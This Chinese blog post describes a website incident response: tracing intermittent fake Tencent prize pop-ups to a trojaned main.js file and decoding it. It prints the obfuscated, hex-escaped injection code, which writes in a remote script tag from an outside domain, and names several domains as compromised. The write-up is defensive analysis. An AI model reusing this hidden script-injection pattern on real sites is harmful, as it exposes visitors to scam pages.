最近我们某网站商务联盟用户偶尔会反馈在访问首页的时候会有腾讯周年庆感恩活动的中奖通知。并且在页面刷新以后问题就消失了,复现时没有规律。
然后会一步步把客户导向被骗的深渊,查杀该木马刻不容缓。
首先出现这种现象的原因可能是用户客户端染毒,本机被种了木马,或者浏览器有恶意插件,另外就是被访问网站被植入了木马,并且这种木马属灰度级别的,没有明显的规律,这大大增加了查杀的难度。
客户端的原因很容易被排除,暂且不表。
我们先科普一下木马的定义,百度百科的定义是这样的:木马(Trojan),也称木马病毒,是指通过特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种主机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种主机。木马病毒的产生严重危害着现代网络的安全运行。
从定义来看,木马最典型的特征是伪装,伪装与反伪装的博弈自古有之,从人类,到动物界,从个人、小团体到组织和国家,无不通过伪装来达到迷惑对手的目的,所以这场拉锯之战并没有最终的赢家,而是以此消彼长的态势来逐渐麻痹我们的认知,给我们看似赢了实际却输掉了的错觉。
言归正传,一旦源程序被植入代码,那么从瀚如烟海的源码中找出来,无疑是大海捞针,况且只能用最笨最原始的方法来排查,时间也耗不起,所以代码版本的管理就显得尤为重要。还有一种方法就是从问题页面着手,对涉及到的请求逐一排查,顺藤摸瓜,定位被植入的源代码路径,谈到顺藤摸瓜,就必须要提到页面http请求中的一个很重要的概念:Referer。它是页面header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。在信息安全方面,防盗链的很多处理方法都是基于referer的。
以上时跟踪目标页面看到的,在请求的内容中有几处和奇怪的引用,这两个网址都很怪异,发现该请求的来源是一个登陆用的jsp页面。
从这个登陆页面源码可以看到引用了一些js脚本,问题基本就应该出在其中的某一个或多个js上,可能被修改或重写了,即植入了后门。
一个个打开这些js脚本,发现一个脚本的内容很不正常,那就是main.js,以下是其内容:
至此,基本可以锁定木马的位置,将此文件恢复了即可。
现在分析一下这个木马的内容,很显然,木马制造者将代码都转换成了十六进制的转意值,相当于做了一层加密,使其更具有迷惑性。我们进行反转换,通过alert使其现出原形。
<script>
window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"] ('x3cx53x43x52x49x50x54 x73x72x63x3dx22x68x74x74x70x3ax2fx2fx77x77x77x2ex67x6fx6fx67x6cx65x61x64x73x6cx2ex63x6fx6dx2fx73x70x63x6fx64x65x2fx6ax71x75x65x72x79x2ex6ax73x22x3ex3cx2fx73x63x72x69x70x74x3e');
}
}
</script>
<script>
alert(unescape(document.scripts[0].innerHTML.replace(/(\x)/gi,'%')));
</script>
这个木马的内容已经被解析出来了,实际上是把他自己的一个js植入到了main.js中。另外基本也可以确定以下三个网站也中木马了。
http://www.ca39.com
http://www.chinesejk.com
http://www.googleadsl.com
那么问题来了,木马是如何被植入的呢,黑客往往都是从我们意想不到的地方入侵成功的,我初步判断应该是从简单的密码破解开始,利用系统文件上传的功能植入的,预防措施一是设定复杂密码,二是关闭文件上传功能
<hr class="more" />
- 上一篇: 中日美印四国程序猿对比
- 下一篇: 我的阅读观
评论